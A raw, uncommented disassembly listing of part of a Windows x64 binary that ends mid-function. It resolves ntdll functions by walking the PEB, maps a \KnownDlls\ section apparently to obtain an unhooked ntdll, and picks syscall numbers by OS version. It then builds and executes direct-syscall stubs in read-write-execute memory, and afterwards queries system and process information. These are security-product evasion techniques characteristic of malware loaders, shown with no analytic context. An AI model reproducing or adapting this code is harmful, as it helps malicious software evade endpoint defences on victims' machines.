cmp qword [rbp - 0x48], 0
jne 0x140051a38
xor eax, eax
mov dword [rbp - 0x50], r15d
lea rdi, [rbp + 0x70]
mov dword [rbp + 0x48], 0xb8
mov ecx, 0x104
mov dword [rbp + 0x4c], 0xd18b4c00
rep stosb byte [rdi], al
cmp word [rbp + 0x70], 0
lea rax, [rbp + 0x70]
mov word [rbp + 0x50], 0x50f
mov byte [rbp + 0x52], 0xc3
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], r15
mov dword [rbp - 0x1c], r15d
mov dword [rbp - 4], r15d
je 0x1400500aa
nop dword [rax + rax]
add rax, 2
cmp word [rax], 0
jne 0x1400500a0
lea rdx, str.KnownDlls_
movzx ecx, r13w
sub rdx, rax
nop dword [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x1400500c0
mov word [rax], r15w
lea rax, [rbp + 0x70]
cmp word [rbp + 0x70], cx
je 0x1400500ea
nop
add rax, 2
cmp word [rax], 0
jne 0x1400500e0
lea rdx, [0x140063500]
mov ecx, 0x6e
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x140050100
mov word [rax], r15w
lea rcx, [rbp + 0x70]
cmp word [rbp + 0x70], 0
mov eax, r15d
je 0x14005012e
inc eax
lea rcx, [rcx + 2]
cmp word [rcx], 0
jne 0x140050122
add ax, ax
mov dword [rbp - 0x20], 0x30
mov word [rbp - 0x30], ax
mov r14, r15
add ax, 2
mov qword [rbp - 0x18], r15
mov word [rbp - 0x2e], ax
lea rax, [rbp + 0x70]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x30]
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov dword [rbp - 8], 0x40
mov qword [rbp - 0x10], rax
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400501b8
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x1400501aa
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x1400501b4
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140050190
jmp 0x1400501b8
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x140050266
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x140050266
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140050266
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140050266
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x140050266
lea rsi, str.ZwOpenSection
nop dword [rax]
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x14005025a
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x140050250
sub rcx, rsi
test al, al
je 0x14005024b
cmp byte [rdx], 0
je 0x140050250
movzx eax, byte [rdx + rcx + 1]
inc rdx
cmp al, byte [rdx]
je 0x140050234
jmp 0x140050250
cmp byte [rdx], 0
je 0x1400502a9
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x1400502a9
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140050220
mov r12, r15
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400502be
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14005029f
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x1400502ba
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140050285
jmp 0x1400502be
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x140050269
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x140050367
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x140050367
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140050367
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140050367
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x140050367
lea rsi, str.ZwMapViewOfSection
nop dword [rax + rax]
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x14005035b
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x140050351
sub rax, rsi
test dl, dl
je 0x14005034c
cmp byte [rcx], 0
je 0x140050351
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x140050335
jmp 0x140050351
cmp byte [rcx], 0
je 0x1400503a7
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x1400503a7
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140050320
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x1400503bc
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14005039d
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x1400503b8
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140050383
jmp 0x1400503bc
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r14d, dword [rbx + rcx*4]
add r14, r9
jmp 0x14005036a
lea r15, [rdi - 0x10]
mov r9, qword [r15 + 0x30]
test r9, r9
je 0x1400504f2
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x1400504f2
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x1400504f2
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x1400504f2
mov edi, dword [rax + 0x20]
xor r15d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
mov r8d, r15d
test r10d, r10d
je 0x1400504f5
lea rsi, str.NtClose
nop dword [rax + rax]
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x14005046a
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x140050460
sub rcx, rsi
test al, al
je 0x14005045b
cmp byte [rdx], r15b
je 0x140050460
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x140050444
jmp 0x140050460
cmp byte [rdx], r15b
je 0x140050478
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x140050478
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140050430
jmp 0x1400504f5
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x1400504f5
test r14, r14
je 0x1400504f5
test r12, r12
je 0x1400504f5
lea r8, [rbp - 0x20]
mov edx, 4
lea rcx, [rbp - 0x58]
call r12
test eax, eax
js 0x1400504f5
mov rcx, qword [rbp - 0x58]
lea rax, [rbp - 0x48]
mov dword [rsp + 0x48], 2
lea r8, [rsp + 0x70]
mov dword [rsp + 0x40], r15d
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], r15
call r14
test eax, eax
js 0x1400504f5
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x1400504f5
call rdi
jmp 0x1400504f5
xor r15d, r15d
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x140050539
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14005052b
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x140050535
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140050511
jmp 0x140050539
lea r14, [rdi - 0x10]
mov r9, qword [rsp + 0x70]
mov r10, qword [r14 + 0x30]
test r9, r9
je 0x1400506de
test r10, r10
je 0x1400506de
mov r12d, 0x5a4d
cmp word [r9], r12w
jne 0x1400505fe
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x1400505fe
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x1400505fe
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov ebx, dword [rax + 0x24]
add rdi, r9
mov esi, dword [rax + 0x1c]
add rbx, r9
mov r11d, dword [rax + 0x14]
add rsi, r9
test r11d, r11d
je 0x1400505fe
lea r14, str.NtQueryInformationProcess
nop dword [rax + rax]
mov ecx, dword [rdi]
mov rdx, r14
add rcx, r9
je 0x1400505f2
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x1400505e4
sub rcx, r14
test al, al
je 0x1400505db
cmp byte [rdx], 0
je 0x1400505e4
movzx eax, byte [rdx + rcx + 1]
inc rdx
cmp al, byte [rdx]
je 0x1400505c4
jmp 0x1400505e4
cmp byte [rdx], 0
je 0x14005067c
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x14005067c
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x1400505b0
mov rbx, r15
cmp word [r10], r12w
jne 0x1400506a9
mov eax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x1400506a9
mov eax, dword [rax + r10 + 0x88]
add rax, r10
je 0x1400506a9
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov esi, dword [rax + 0x24]
add rdi, r10
mov r14d, dword [rax + 0x1c]
add rsi, r10
mov r11d, dword [rax + 0x14]
add r14, r10
test r11d, r11d
je 0x1400506a9
lea r12, str.ZwUnmapViewOfSection
mov eax, dword [rdi]
mov rcx, r12
add rax, r10
je 0x14005069d
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x140050693
sub rax, r12
test dl, dl
je 0x14005068e
cmp byte [rcx], 0
je 0x140050693
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x140050665
jmp 0x140050693
movsxd rax, r8d
movzx ecx, word [rbx + rax*2]
mov ebx, dword [rsi + rcx*4]
add rbx, r9
jmp 0x140050601
cmp byte [rcx], 0
je 0x1400506bf
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x1400506bf
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x140050650
mov rax, r15
mov rdx, r9
mov rcx, 0xffffffffffffffff
test rbx, rbx
jne 0x1400506cf
call rax
jmp 0x1400506de
movsxd rax, r8d
movzx ecx, word [rsi + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r10
jmp 0x1400506ac
movzx ebx, word [rbx + 4]
call rax
mov word [rbp - 0x68], bx
test bx, bx
jne 0x140050720
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x140050717
cmp al, 6
jne 0x140050710
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x140050710
sub ecx, 1
je 0x140050709
cmp ecx, 1
jne 0x140050717
lea ebx, [rcx + 0x17]
jmp 0x14005071c
mov ebx, 0x17
jmp 0x14005071c
mov ebx, 0x16
jmp 0x14005071c
mov ebx, 0x19
mov word [rbp - 0x68], bx
mov edx, 0x1024
xor ecx, ecx
lea r9d, [rcx + 0x40]
lea r8d, [rdx - 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x14005082d
lea rcx, [rbp + 0x49]
lea rax, [rbp - 0x68]
cmp rcx, rax
jbe 0x140050760
lea rcx, [rbp + 0x49]
lea rax, [rbp - 0x66]
nop word [rax + rax]
movzx eax, byte [rbp - 0x67]
lea rcx, [rbp + 0x48]
mov byte [rbp + 0x4a], al
mov byte [rbp + 0x49], bl
cmp rdi, rcx
jbe 0x140050780
lea rcx, [rbp + 0x53]
nop word [rax + rax]
mov dword [rdi + 7], 0xc3050fd1
lea r8, [rbp - 0x50]
mov dword [rdi + 3], 0x8b4c0000
mov r9d, 4
mov byte [rdi + 2], al
mov rcx, 0xffffffffffffffff
mov byte [rdi + 1], bl
mov byte [rdi], 0xb8
lea edx, [r9 + 0x1b]
mov qword [rsp + 0x20], r15
call rdi
lea rbx, [rbp + 0x48]
mov esi, eax
sub rbx, rdi
mov r11d, 0xb
mov r9, rdi
nop word [rax + rax]
movzx r10d, byte [rbx + r9]
movzx r8d, byte [r9]
lea eax, [r10 - 0x61]
cmp eax, 0x19
lea edx, [r10 - 0x20]
lea eax, [r8 - 0x61]
cmova edx, r10d
lea ecx, [r8 - 0x20]
cmp eax, 0x19
cmova ecx, r8d
cmp ecx, edx
jne 0x140050806
inc r9
sub r11, 1
jne 0x1400507d0
jmp 0x14005080f
cmp r8d, r10d
jne 0x140051a38
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
jne 0x14005082d
cmp dword [rbp - 0x50], esi
je 0x140051a38
xor eax, eax
mov qword [rbp - 0x48], r15
lea rdi, [rbp + 0x70]
mov dword [rbp + 0x58], 0xb8
mov ecx, 0x104
mov dword [rbp + 0x5c], 0xd18b4c00
rep stosb byte [rdi], al
cmp word [rbp + 0x70], 0
lea rax, [rbp + 0x70]
mov word [rbp + 0x60], 0x50f
mov byte [rbp + 0x62], 0xc3
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], r15
mov dword [rbp - 0x1c], r15d
mov dword [rbp - 4], r15d
je 0x140050880
add rax, 2
cmp word [rax], 0
jne 0x140050876
lea rcx, str.KnownDlls_
sub rcx, rax
nop word [rax + rax]
mov word [rax], r13w
lea rax, [rax + 2]
movzx r13d, word [rcx + rax]
test r13w, r13w
jne 0x140050890
mov word [rax], r15w
lea rax, [rbp + 0x70]
cmp word [rbp + 0x70], r13w
je 0x1400508bc
add rax, 2
cmp word [rax], 0
jne 0x1400508b2
lea rcx, [0x140063500]
mov edx, 0x6e
sub rcx, rax
nop dword [rax + rax]
mov word [rax], dx
lea rax, [rax + 2]
movzx edx, word [rax + rcx]
test dx, dx
jne 0x1400508d0
mov word [rax], r15w
lea rcx, [rbp + 0x70]
mov eax, r15d
cmp word [rbp + 0x70], dx
je 0x1400508fd
inc eax
lea rcx, [rcx + 2]
cmp word [rcx], 0
jne 0x1400508f1
add ax, ax
mov dword [rbp - 0x20], 0x30
mov word [rbp - 0x30], ax
mov r14, r15
add ax, 2
mov qword [rbp - 0x18], r15
mov word [rbp - 0x2e], ax
lea rax, [rbp + 0x70]
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x30]
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov dword [rbp - 8], 0x40
mov qword [rbp - 0x10], rax
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x140050988
nop dword [rax + rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14005097a
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x140050984
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140050960
jmp 0x140050988
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
mov r13d, 0x5a4d
test r9, r9
je 0x140050a32
cmp word [r9], r13w
jne 0x140050a32
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140050a32
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140050a32
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x140050a32
lea rsi, str.ZwOpenSection
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x140050a26
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x140050a1c
sub rax, rsi
nop dword [rax + rax]
test dl, dl
je 0x140050a17
cmp byte [rcx], 0
je 0x140050a1c
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x140050a00
jmp 0x140050a1c
cmp byte [rcx], 0
je 0x140050a75
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x140050a75
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x1400509e6
mov r12, r15
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x140050a8a
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x140050a6b
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x140050a86
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140050a51
jmp 0x140050a8a
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x140050a35
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
test r9, r9
je 0x140050b28
cmp word [r9], r13w
jne 0x140050b28
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140050b28
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140050b28
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x140050b28
lea rsi, str.ZwMapViewOfSection
mov ecx, dword [rdi]
mov rdx, rsi
add rcx, r9
je 0x140050b1c
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x140050b12
sub rcx, rsi
test al, al
je 0x140050b0d
cmp byte [rdx], 0
je 0x140050b12
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x140050af6
jmp 0x140050b12
cmp byte [rdx], 0
je 0x140050b68
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x140050b68
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140050ae2
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x140050b7d
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x140050b5e
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x140050b79
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140050b44
jmp 0x140050b7d
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r14d, dword [rbx + rcx*4]
add r14, r9
jmp 0x140050b2b
lea r15, [rdi - 0x10]
mov r9, qword [r15 + 0x30]
test r9, r9
je 0x140050cae
cmp word [r9], r13w
jne 0x140050cae
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140050cae
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140050cae
mov edi, dword [rax + 0x20]
xor r15d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
mov r8d, r15d
test r10d, r10d
je 0x140050cb1
lea rsi, str.NtClose
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x140050c26
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x140050c1c
sub rax, rsi
nop dword [rax]
test dl, dl
je 0x140050c17
cmp byte [rcx], r15b
je 0x140050c1c
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x140050c00
jmp 0x140050c1c
cmp byte [rcx], r15b
je 0x140050c34
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x140050c34
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x140050be4
jmp 0x140050cb1
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x140050cb1
test r14, r14
je 0x140050cb1
test r12, r12
je 0x140050cb1
lea r8, [rbp - 0x20]
mov edx, 4
lea rcx, [rbp - 0x58]
call r12
test eax, eax
js 0x140050cb1
mov rcx, qword [rbp - 0x58]
lea rax, [rbp - 0x50]
mov dword [rsp + 0x48], 2
lea r8, [rsp + 0x70]
mov dword [rsp + 0x40], r15d
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], r15
call r14
test eax, eax
js 0x140050cb1
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140050cb1
call rdi
jmp 0x140050cb1
xor r15d, r15d
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x140050cf8
nop dword [rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x140050cea
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x140050cf4
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x140050cd0
jmp 0x140050cf8
lea r14, [rdi - 0x10]
mov r9, qword [rsp + 0x70]
mov r10, qword [r14 + 0x30]
test r9, r9
je 0x140050e99
test r10, r10
je 0x140050e99
cmp word [r9], r13w
jne 0x140050daf
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x140050daf
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x140050daf
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov ebx, dword [rax + 0x24]
add rdi, r9
mov esi, dword [rax + 0x1c]
add rbx, r9
mov r11d, dword [rax + 0x14]
add rsi, r9
test r11d, r11d
je 0x140050daf
lea r14, str.NtQueryInformationProcess
mov ecx, dword [rdi]
mov rdx, r14
add rcx, r9
je 0x140050da3
movzx eax, byte [rcx]
cmp al, 0x4e
jne 0x140050d95
sub rcx, r14
test al, al
je 0x140050d8c
cmp byte [rdx], 0
je 0x140050d95
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x140050d75
jmp 0x140050d95
cmp byte [rdx], 0
je 0x140050e37
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x140050e37
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x140050d61
mov rbx, r15
cmp word [r10], r13w
jne 0x140050e64
mov eax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x140050e64
mov eax, dword [rax + r10 + 0x88]
add rax, r10
je 0x140050e64
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov esi, dword [rax + 0x24]
add rdi, r10
mov r14d, dword [rax + 0x1c]
add rsi, r10
mov r11d, dword [rax + 0x14]
add r14, r10
test r11d, r11d
je 0x140050e64
lea r12, str.ZwUnmapViewOfSection
mov ecx, dword [rdi]
mov rdx, r12
add rcx, r10
je 0x140050e58
movzx eax, byte [rcx]
cmp al, 0x5a
jne 0x140050e4e
sub rcx, r12
nop dword [rax]
test al, al
je 0x140050e49
cmp byte [rdx], 0
je 0x140050e4e
movzx eax, byte [rcx + rdx + 1]
inc rdx
cmp al, byte [rdx]
je 0x140050e20
jmp 0x140050e4e
movsxd rax, r8d
movzx ecx, word [rbx + rax*2]
mov ebx, dword [rsi + rcx*4]
add rbx, r9
jmp 0x140050db2
cmp byte [rdx], 0
je 0x140050e7a
movsx ecx, al
movsx eax, byte [rdx]
cmp ecx, eax
je 0x140050e7a
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x140050e05
mov rax, r15
mov rdx, r9
mov rcx, 0xffffffffffffffff
test rbx, rbx
jne 0x140050e8a
call rax
jmp 0x140050e99
movsxd rax, r8d
movzx ecx, word [rsi + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r10
jmp 0x140050e67
movzx ebx, word [rbx + 4]
call rax
mov word [rbp - 0x64], bx
test bx, bx
jne 0x140050ee4
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x140050ed8
cmp al, 6
jne 0x140050ed1
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x140050ed1
sub ecx, 1
je 0x140050eca
cmp ecx, 1
jne 0x140050ed8
mov ebx, 0x18
mov word [rbp - 0x64], bx
jmp 0x140050ee4
mov eax, 0x17
jmp 0x140050edd
mov eax, 0x16
jmp 0x140050edd
mov eax, 0x19
movzx ebx, ax
mov word [rbp - 0x64], ax
mov edx, 0x1024
xor ecx, ecx
lea r9d, [rcx + 0x40]
lea r8d, [rdx - 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x140050fe1
lea rcx, [rbp + 0x59]
lea rax, [rbp - 0x64]
cmp rcx, rax
jbe 0x140050f20
lea rcx, [rbp + 0x59]
lea rax, [rbp - 0x62]
nop word [rax + rax]
movzx eax, byte [rbp - 0x63]
lea rcx, [rbp + 0x58]
mov byte [rbp + 0x5a], al
mov byte [rbp + 0x59], bl
cmp rdi, rcx
jbe 0x140050f40
lea rcx, [rbp + 0x63]
nop word [rax + rax]
mov dword [rdi + 7], 0xc3050fd1
lea r8, [rbp - 0x48]
mov dword [rdi + 3], 0x8b4c0000
mov r9d, 8
mov byte [rdi + 2], al
mov rcx, 0xffffffffffffffff
mov byte [rdi + 1], bl
mov byte [rdi], 0xb8
lea edx, [r9 + 0x16]
mov qword [rsp + 0x20], r15
call rdi
lea r11, [rbp + 0x58]
mov ebx, eax
sub r11, rdi
mov r9, rdi
nop
movzx r10d, byte [r11 + r9]
movzx r8d, byte [r9]
lea eax, [r10 - 0x61]
cmp eax, 0x19
lea edx, [r10 - 0x20]
lea eax, [r8 - 0x61]
cmova edx, r10d
lea ecx, [r8 - 0x20]
cmp eax, 0x19
cmova ecx, r8d
cmp ecx, edx
jne 0x140050fb8
inc r9
sub qword [rsp + 0x60], 1
jne 0x140050f80
jmp 0x140050fc1
cmp r8d, r10d
jne 0x140051a38
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test ebx, ebx
js 0x140050fe1
cmp qword [rbp - 0x48], 0
jne 0x140051a38
call fcn.1400477c0
test al, al
jne 0x140051a38
call fcn.140048db0
test al, al
jne 0x140051a38
mov dword [rbp - 0x50], r15d
xor r12b, r12b
mov rax, qword gs:[0x60]
mov rsi, r15
mov r14, qword [rax + 0x18]
add r14, 0x20
mov rdi, qword [r14]
cmp rdi, r14
je 0x140051048
nop
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14005103a
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x140051044
mov rdi, qword [rdi]
cmp rdi, r14
jne 0x140051020
jmp 0x140051048
lea r15, [rdi - 0x10]
mov r9, qword [r15 + 0x30]
lea r13, str.NtQuerySystemInformation
test r9, r9
je 0x14005127d
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14005127d
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14005127d
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14005127d
mov edi, dword [rax + 0x20]
xor r15d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
mov r8d, r15d
test r10d, r10d
je 0x140051280
mov eax, dword [rdi]
mov rcx, r13
add rax, r9
je 0x1400510f6
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x1400510ec
sub rax, r13
nop dword [rax]
test dl, dl
je 0x1400510e7
cmp byte [rcx], r12b
je 0x1400510ec
movzx edx, byte [rax + rcx + 1]
inc rcx
cmp dl, byte [rcx]
je 0x1400510d0
jmp 0x1400510ec
cmp byte [rcx], r12b
je 0x140051107
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x140051107
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x1400510b4
jmp 0x140051280
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x140051280
mov ebx, 0x16
lea r9, [rbp - 0x50]
mov ecx, ebx
xor r8d, r8d
xor edx, edx
call rdi
cmp eax, 0xc0000004
jne 0x140051178
test rsi, rsi
je 0x14005114a
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x50]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp - 0x50]
lea r9, [rbp - 0x50]
mov rdx, rax
mov ecx, ebx
mov rsi, rax
call rdi
cmp eax, 0xc0000004
je 0x140051134
test eax, eax
jns 0x14005119b
test rsi, rsi
je 0x140051280
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140051280
mov eax, dword [rsi]
lea r11, [rsi + 8]
test eax, eax
je 0x140051261
mov r14d, eax
lea r15, str.Hyhd
mov r8, r15
test r11, r11
je 0x140051250
